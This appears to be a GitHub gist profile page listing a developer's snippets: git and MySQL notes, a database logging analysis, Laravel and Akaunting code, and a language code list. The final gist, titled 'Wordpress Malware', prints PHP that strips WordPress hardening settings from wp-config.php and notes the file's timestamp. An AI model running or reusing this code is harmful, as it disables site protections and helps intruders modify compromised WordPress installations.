Skip to content

Instantly share code, notes, and snippets.

View phpfour's full-sized avatar

Mohammad Emran phpfour

View GitHub Profile
@phpfour
phpfour / git-revert.md
Created January 17, 2024 14:19
How to use git to revert a committed file to an earlier version

To revert a committed file to an earlier version using Git, you can use the git checkout command. Here's how you can do it:

git checkout {{commit_hash}} -- {{file_path}}

Replace {{commit_hash}} with the hash of the commit you want to revert to, and {{file_path}} with the path to the file you want to revert.

For example, if you want to revert the file script.js to an earlier version with the commit hash abc123, you would run:

@phpfour
phpfour / Tag.php
Created November 13, 2022 00:55
Spatie Tag Custom Model
<?php declare(strict_types=1);
namespace App\Models;
use ArrayAccess;
use Illuminate\Database\Eloquent\Builder;
class Tag extends \Spatie\Tags\Tag
{
/**
@phpfour
phpfour / summary.md
Created July 29, 2022 00:38
Logging DB analysis

Current Implementation

  • Currently, all log information is in the logging table and as of now it has around ~2,13,92,493 records
  • Total size of data is ~36 GB (retrieved from information_schema table)
  • A record can have a size between 1KB to 10KB based on the amount of data stored.
  • With the current indexes in the table, logs for a single user can be fetched pretty quickly and uses const ref
mysql> EXPLAIN SELECT * FROM `logging` WHERE `member_id` = 45373 ORDER BY `id` DESC LIMIT 100 OFFSET 0;
+----+-------------+---------+------------+------+---------------------------+---------------------------+---------+-------+------+----------+-------------+
<?php
// Source: https://www.example-code.com/phpExt/hmrc_fraud_prevention_headers.asp
// The version number (9_5_0) should match version of the Chilkat extension used, omitting the micro-version number.
// For example, if using Chilkat v9.5.0.48, then include as shown here:
include("chilkat_9_5_0.php");
// This example requires the Chilkat API to have been previously unlocked.
// See Global Unlock Sample for sample code.
@phpfour
phpfour / seeds.patch
Created June 30, 2021 05:14
Akaunting Data Generator
Index: database/seeds/SampleData.php
IDEA additional info:
Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP
<+>UTF-8
===================================================================
diff --git a/database/seeds/SampleData.php b/database/seeds/SampleData.php
--- a/database/seeds/SampleData.php (revision 5a305a859efbc0568ff19820d21b432713df52ac)
+++ b/database/seeds/SampleData.php (date 1624084150026)
@@ -37,13 +37,15 @@
Contact::factory()->count($count)->create();
@phpfour
phpfour / emoji.php
Created January 30, 2021 06:18
A simple removeEmoji function in PHP
<?php
// @see https://stackoverflow.com/a/65179618/196121
function removeEmoji(string $text): string
{
$text = iconv('UTF-8', 'ISO-8859-15//IGNORE', $text);
$text = preg_replace('/\s+/', ' ', $text);
return iconv('ISO-8859-15', 'UTF-8', $text);
}
@phpfour
phpfour / database.sh
Created January 25, 2021 02:21
Frequent MySQL/MariaDB operations
MySQL Operations
--------------------------------------
In this document:
- Export/Import DB
- Export/Import Table from DB
- mysqladmin
- Repair DB
--------------------------------------
@phpfour
phpfour / my.cnf
Created January 25, 2021 02:18 — forked from fevangelou/my.cnf
Optimized my.cnf configuration for MySQL/MariaSQL (on Ubuntu, CentOS etc. servers)
# Optimized my.cnf configuration for MySQL/MariaSQL
#
# by Fotis Evangelou, developer of Engintron (engintron.com)
#
# ~ Updated January 2020 ~
#
#
# The settings provided below are a starting point for a 2GB - 4GB RAM server with 2-4 CPU cores.
# If you have different resources available you should adjust accordingly to save CPU, RAM & disk I/O usage.
#
@phpfour
phpfour / LanguageType.php
Created April 1, 2020 10:42
Language List in PHP
<?php
/**
* ISO 639-1 Language Codes
*
* References: http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
*/
class LanguageType
{
public static $list = [
@phpfour
phpfour / replace.php
Created October 25, 2019 15:06
Wordpress Malware
<?php
$str = file_get_contents("../../wp-config.php");
$str = str_replace("define('DISALLOW_FILE_EDIT', true);","",$str);
$str = str_replace("define('DISALLOW_FILE_MODS', true);","",$str);
$ftime1 = filemtime("../../wp-config.php");
file_put_contents("../../wp-config.php", $str);